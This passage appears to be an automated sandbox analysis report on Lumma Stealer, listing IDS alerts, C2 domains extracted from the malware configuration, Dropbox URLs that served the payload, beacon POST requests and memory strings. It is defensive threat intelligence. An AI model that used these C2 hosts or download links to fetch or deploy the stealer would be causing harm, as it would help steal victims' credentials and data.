Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	3_2_00412FA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+000000B0h]	3_2_0040F7AA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea ebx, dword ptr [esp+08h]	3_2_0041F7B2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	3_2_004197B7

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2055483 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) : 192.168.2.4:54383 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055479 - Severity 1 - ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) : 192.168.2.4:51944 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2055489 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (locatedblsoqp .shop) : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49740 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2055493 - Severity 1 - ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) : 192.168.2.4:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49738 -> 172.67.209.93:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49738 -> 172.67.209.93:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49740 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49740 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49741 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: tenseddrywsqio.shop
Source: Malware configuration extractor	URLs: evoliutwoqm.shop
Source: Malware configuration extractor	URLs: traineiwnqo.shop
Source: Malware configuration extractor	URLs: locatedblsoqp.shop
Source: Malware configuration extractor	URLs: stagedchheiqwo.shop
Source: Malware configuration extractor	URLs: condedqpwqm.shop
Source: Malware configuration extractor	URLs: caffegclasiqwp.shop
Source: Malware configuration extractor	URLs: millyscroqwp.shop
Source: Malware configuration extractor	URLs: stamppreewntnq.shop

Source: global traffic	HTTP traffic detected: GET /scl/fi/zggrbdmbru8wwpp19fnal/Launcher.exe?rlkey=oyhv29cvxml0f5jh9a6ijy93p&st=su8clvok&dl=1 HTTP/1.1Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CZuc7lbOcorcPO1KnxZRm4I-EZZJmX4CAtKb51Ff50K-MBU4Nlue9UTG2pSEpIIqdE9VtxyEjty_TXqZ6fmGkkyezkdESSzw2JVLLryoStBMg9uHfHjByfogdOWZUZ_u2nqNaED64BuzF6YgGT3bVBkI/file?dl=1 HTTP/1.1Host: uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com

Source: Joe Sandbox View	IP Address: 162.125.66.18 162.125.66.18
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 162.125.66.15 162.125.66.15

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49731 -> 162.125.66.15:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49730 -> 162.125.66.18:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tenseddrywsqio.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: locatedblsoqp.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: traineiwnqo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=IAk_vZghbJqabKehgfKUmHgpPk7AWGGsinz4AYZdsUk-1725131904-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: traineiwnqo.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /scl/fi/zggrbdmbru8wwpp19fnal/Launcher.exe?rlkey=oyhv29cvxml0f5jh9a6ijy93p&st=su8clvok&dl=1 HTTP/1.1Host: www.dropbox.com
Source: global traffic	HTTP traffic detected: GET /cd/0/get/CZuc7lbOcorcPO1KnxZRm4I-EZZJmX4CAtKb51Ff50K-MBU4Nlue9UTG2pSEpIIqdE9VtxyEjty_TXqZ6fmGkkyezkdESSzw2JVLLryoStBMg9uHfHjByfogdOWZUZ_u2nqNaED64BuzF6YgGT3bVBkI/file?dl=1 HTTP/1.1Host: uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com

Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https:// data: ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' ; img-src https:// data: blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; media-src https:// blob: equals www.yahoo.com (Yahoo)
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fault-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; font-src https:// data: ; frame-ancestors 'self' https://.dropbox.com ; base-uri 'self' ; img-src https:// data: blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; media-src https:// blob:$! equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: tenseddrywsqio.shop
Source: global traffic	DNS traffic detected: DNS query: locatedblsoqp.shop
Source: global traffic	DNS traffic detected: DNS query: traineiwnqo.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tenseddrywsqio.shop

Source: Launcher_x32_x64.exe	String found in binary or memory: http://.css
Source: Launcher_x32_x64.exe	String found in binary or memory: http://.jpg
Source: Launcher_x32_x64.exe	String found in binary or memory: http://html4/loose.dtd
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authentication
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/authorizationdecisionzhttp://schemas.xmlsoap.o
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dateofbirthrhttp://schemas.xmlsoap.org/ws/2005
Source: Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddressxhttp://schemas.xmlsoap.org/ws/200
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/locality
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/mobilephone
Source: Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/otherphone
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/postalcoderhttp://schemas.xmlsoap.org/ws/2005/
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/stateorprovince
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/streetaddresszhttp://schemas.xmlsoap.org/ws/20
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/thumbprintrhttp://schemas.xmlsoap.org/ws/2005/
Source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/x500distinguishednamevhttp://schemas.xmlsoap.o
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://uc65f56b62827632faafd635f90d.dl.dropboxusercontent.com:443/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/binaryformatter
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?GetWindowsDirectory
Source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817950421.0000000009F64000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.000000000936A000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/com
Source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817950421.0000000009F64000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.000000000936A000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/nativehost
Source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.0000000009F64000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.000000000936A000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://aka.ms/dotnet-illink/nativehostt
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet/app-launch-failed
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet/app-launch-failedFramework:
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet/download
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet/downloadInstall
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet/info
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/dotnet/sdk-not-foundFailed
Source: Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: Launcher_x32_x64.exe	String found in binary or memory: https://aka.ms/serializationformat-binary-obsolete
Source: Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	String found in binary or memory: https://api.loganalytics.iohttps://api.loganalytics.usencountered
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	String found in binary or memory: https://datalake.azure.net/https://graph.microsoft.us/servicebus.chinacloudapi.cndocuments.microsoft
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	String found in binary or memory: https://gallery.usgovcloudapi.net/mariadb.database.usgovcloudapi.netdev.azuresynapse.usgovcloudapi.n
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/dotnet/runtime
Source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://github.com/dotnet/runtime/blob/bbc898f3e5678135b242faeb6eefd8b24bf04f3c/src/native/corehost/
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/dotnet/runtime/issues/50821
Source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://github.com/dotnet/runtime/issues/71847
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/dotnet/runtime7
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/dotnet/runtime;
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/dotnet/runtime?
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/dotnet/runtimeI_#
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/dotnet/runtime_
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/dotnet/runtimeab
Source: Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://github.com/dotnet/runtimef
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/dotnet/runtimeiT
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/dotnet/runtimer
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/dotnet/runtimev
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/mono/linker/issues/1187
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/mono/linker/issues/1416.
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/mono/linker/issues/1731
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/mono/linker/issues/1895v
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/mono/linker/issues/1906.
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/mono/linker/issues/1981
Source: Launcher_x32_x64.exe	String found in binary or memory: https://github.com/mono/linker/issues/378
Source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp	String found in binary or memory: https://github.com/mono/linker/pull/649
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: Launcher_x32_x64.exe, 00000000.00000002.1835804518.000000000F231000.00000004.00001000.00020000.00000000.sdmp, 4ud5if5k.0ze.exe, 00000001.00000000.1813573976.0000000000D9D000.00000002.00000001.01000000.00000005.sdmp, 4ud5if5k.0ze.exe.0.dr	String found in binary or memory: https://login.microsoftonline.com/METRIC_AZURERM_API_REQUEST_BUCKETSlabel
Source: Launcher_x32_x64.exe, 00000000.00000002.1816814378.0000000005A8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
